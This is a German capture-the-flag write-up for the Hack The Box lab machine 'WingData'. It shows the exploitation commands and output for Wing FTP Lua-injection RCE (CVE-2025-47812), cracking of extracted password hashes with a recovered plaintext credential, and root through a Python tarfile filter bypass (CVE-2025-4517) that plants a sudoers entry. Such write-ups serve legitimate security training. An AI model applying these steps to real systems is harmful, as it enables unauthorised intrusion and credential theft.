← Zurück zu Machines

HTB · published

WingData

Hack The Box Season-10 Writeup zu WingData. Veröffentlichung folgt, sobald die Maschine retired ist.

HTBLinuxWebWing FTPCVE-2025-47812CVE-2025-4517Privilege EscalationTarfileseason-10MachineWriteup

Metadaten


  • Name: wingdata

  • IP Address: 10.129.244.106

  • Plattform: Linux

  • Kategorie: Web / File Transfer / Credential Recovery / Sudo / Python tarfile

  • Schwierigkeit: Unknown

  • Ziel(e): User, Root

  • Kurzbeschreibung des Szenarios: Die Maschine stellt eine scheinbar statische Firmenwebseite bereit, die auf ein Wing FTP Server Web Client Portal verweist. Die exponierte Wing FTP Version ist anfällig für unauthenticated Lua Injection. Nach Initial Access werden gespeicherte Wing FTP Hashes extrahiert, ein Benutzerpasswort geknackt und Root über eine fehlerhafte Backup-Restore-Logik mit Python tarfile.extractall(filter="data") erreicht.


Reconnaissance/ Enumeration

initscan:

ping -c 2 -W 2 10.129.244.106
nmap -p- --min-rate 5000 -Pn -oA scans/nmap_full_tcp 10.129.244.106

Ergebnis:

TTL 63 -> Linux sehr wahrscheinlich

22/tcp open  ssh
80/tcp open  http

servicescan:

nmap -sCV -O -p22,80 -Pn -oA scans/nmap_sCV 10.129.244.106

Relevante Services:

22/tcp  OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp  Apache httpd 2.4.66 (Debian)

HTTP auf der IP leitete auf einen Hostnamen um:

curl -i http://10.129.244.106/
HTTP/1.1 301 Moved Permanently
Location: http://wingdata.htb/
Server: Apache/2.4.66 (Debian)

Mit Host Header wingdata.htb wurde eine statische Unternehmensseite sichtbar. Im HTML war ein interessanter Link enthalten:

<a href="http://ftp.wingdata.htb/">Client Portal</a>

Der zweite vHost war der entscheidende Einstiegspunkt:

curl -i -H 'Host: ftp.wingdata.htb' http://10.129.244.106/
curl -i -H 'Host: ftp.wingdata.htb' http://10.129.244.106/login.html

Ergebnis:

Server: Wing FTP Server(Free Edition)
Title: Wing FTP Server - Web Client
Version disclosure: Wing FTP Server v7.4.3

Wichtige Erkenntnis: SSH war ohne Credentials nur ein späterer Zugangspfad. Der eigentliche Angriffsvektor lag auf dem virtuellen Host ftp.wingdata.htb.

Exploitation (Foothold)

Wing FTP Server v7.4.3 ist für CVE-2025-47812 anfällig. Die Schwachstelle entsteht durch fehlerhafte Behandlung von Nullbytes im username Parameter bei loginok.html. Dadurch kann Lua-Code in eine Session geschrieben und beim Aufruf von dir.html ausgeführt werden.

Genutzter Exploit:

searchsploit -m multiple/remote/52347.py

Der Exploit wurde lokal angepasst:

  • Unterstützung für den vHost Header Host: ftp.wingdata.htb
  • Deaktivierung von Proxy-Umgebungsvariablen
  • Logout nach Ausführung, damit anonyme Sessions nicht voll laufen

Proof of command execution:

python3 shells/wingftp_cve_2025_47812.py \
  -u http://10.129.244.106 \
  -H ftp.wingdata.htb \
  -c 'id; hostname; pwd'

Output:

uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
wingdata
/opt/wftpserver

Damit war Initial Access als Service-User wingftp erreicht.

Lateral Movement / User Escalation

Als wingftp waren die Wing FTP Konfigurationsdateien lesbar:

/opt/wftpserver/Data/
/opt/wftpserver/Data/1/users/
/opt/wftpserver/Data/_ADMINISTRATOR/

Interessante User-Dateien:

/opt/wftpserver/Data/1/users/maria.xml
/opt/wftpserver/Data/1/users/steve.xml
/opt/wftpserver/Data/1/users/wacky.xml
/opt/wftpserver/Data/1/users/anonymous.xml
/opt/wftpserver/Data/1/users/john.xml

Die XML-Ausgaben wurden Base64-kodiert exfiltriert, weil rohe XML-Ausgaben vom Exploit-Parser teilweise abgeschnitten wurden:

base64 -w0 /opt/wftpserver/Data/1/users/wacky.xml

Relevante Hashes:

wacky:32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
steve:5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca
maria:a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03
admin:a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba

Für Wing FTP User-Hashes funktionierte:

SHA256(password + "WingFTP")

Hashcat:

awk -F: '{print $1":"$2":WingFTP"}' wingftp_hashes_userhash.txt > wingftp_hashes_sha256_pass_salt.txt
hashcat -m 1410 --username wingftp_hashes_sha256_pass_salt.txt /usr/share/wordlists/rockyou.txt

Cracked credential:

wacky : !#7Blushing^*Bride5

SSH:

ssh wacky@10.129.244.106

Privilege Escalation (Root / Domain)

Als wacky:

sudo -l

Ergebnis:

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Das erlaubte Script:

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

Erste Tests:

  • Path Traversal über ../../ wurde blockiert.
  • Absolute Symlinks wurden blockiert.
  • Hardlinks wurden blockiert.
  • SUID-Bits wurden durch den Data Filter entfernt.

Der funktionierende Weg war ein Python tarfile Filter Bypass im Stil von CVE-2025-4517 / CVE-2025-4330. Dabei wird über sehr lange Pfadkomponenten und Symlink-Ketten das PATH_MAX-Verhalten ausgenutzt, um trotz filter="data" außerhalb des Zielverzeichnisses zu schreiben.

Ziel:

/etc/sudoers.d/wacky_cve

Inhalt:

wacky ALL=(ALL) NOPASSWD:ALL

Malicious archive:

backup_1002.tar

Transfer:

scp backup_1002.tar wacky@10.129.244.106:/opt/backup_clients/backups/backup_1002.tar

Trigger:

sudo -n /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_1002.tar \
  -r restore_cve

Proof:

ls -l /etc/sudoers.d/wacky_cve
sudo -n id

Output:

-rw-r----- 1 root root 29 Dec 31 1969 /etc/sudoers.d/wacky_cve
uid=0(root) gid=0(root) groups=0(root)

Danach war Root-Zugriff über sudo -n möglich.

Post-Exploitation

  • User Flag
cat /home/wacky/user.txt
dc6ed65XXXXXXXXXXXXXXXXd24
  • Root Flag
sudo -n cat /root/root.txt
1d5490fXXXXXXXXXXXXeb1
  • Screenshots

Keine Screenshots erstellt. Alle Proofs wurden textuell in loot/, scans/, web/ und privesc/ gespeichert.

  • Wichtige Dateien
loot/user_flag.txt
loot/root_flag.txt
loot/wingftp_user_wacky.xml
loot/wingftp_hashes_userhash.txt
loot/wingftp_hashcat_cracked_salted.txt
privesc/backup_1002.tar
privesc/cve_2025_4517_restore_attempt.txt
reports/final_walkthrough.md
reports/wingdata_writeup.md
  • Relevante Logs oder Proofs
loot/wingftp_rce_proof_retry.txt
loot/root_capture.txt
privesc/cve_2025_4517_restore_attempt.txt

Cleanup wurde durchgeführt:

  • temporäre sudoers-Datei entfernt
  • temporäre Backup- und Restore-Dateien entfernt
  • geänderte Wing FTP Admin-Konfiguration aus Backup zurückgespielt
  • temporärer SSH-Key aus authorized_keys entfernt

Lessons Learned

  • Was war der wichtigste Aha-Moment?

Der Link von der statischen Hauptseite auf ftp.wingdata.htb war der entscheidende Pivot. Ohne vHost-Enumeration wäre nur SSH und eine harmlose Webseite sichtbar gewesen.

  • Was hätte ich früher prüfen sollen?

Nach dem ersten Web-Fund direkt gezielt nach Produktversionen und bekannten CVEs suchen. Wing FTP v7.4.3 war ein sehr starker Hinweis auf CVE-2025-47812.

  • Welche Technik möchte ich mir merken?

Python tarfile.extractall(filter="data") ist nicht automatisch sicher, wenn die Python-Version für bekannte Filter-Bypässe anfällig ist und die Extraktion als Root erfolgt. Der PATH_MAX/Symlink-Bypass ist eine wichtige Technik für Backup-/Restore-Szenarien.

  • Welche Notiz oder welches Tool sollte daraus entstehen?

Eine kleine lokale Helper-Notiz für:

Wing FTP hash mode:
SHA256(password + "WingFTP")
hashcat -m 1410

und ein privesc Check:

Wenn sudo ein Python-Backup-Restore-Script erlaubt:
- Script lesen
- tarfile.extractall prüfen
- Python-Version prüfen
- CVE-2025-4517/4330-artige Bypässe testen

Notizen

Hilfreiche Commands und Hinweise:

# vHost Discovery
curl -i -H 'Host: wingdata.htb' http://10.129.244.106/
curl -i -H 'Host: ftp.wingdata.htb' http://10.129.244.106/login.html

# Wing FTP RCE
python3 shells/wingftp_cve_2025_47812.py -u http://10.129.244.106 -H ftp.wingdata.htb -c 'id'

# Hash Extraction
base64 -w0 /opt/wftpserver/Data/1/users/wacky.xml

# Cracking
hashcat -m 1410 --username wingftp_hashes_sha256_pass_salt.txt /usr/share/wordlists/rockyou.txt

# User
ssh wacky@10.129.244.106

# PrivEsc
sudo -l
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1002.tar -r restore_cve
sudo -n id
sudo -n cat /root/root.txt

Quellen:

  • CVE-2025-47812: https://nvd.nist.gov/vuln/detail/CVE-2025-47812
  • Exploit-DB 52347: https://www.exploit-db.com/exploits/52347
  • CVE-2025-4517: https://nvd.nist.gov/vuln/detail/CVE-2025-4517
  • CPython tarfile Issue: https://github.com/python/cpython/issues/135034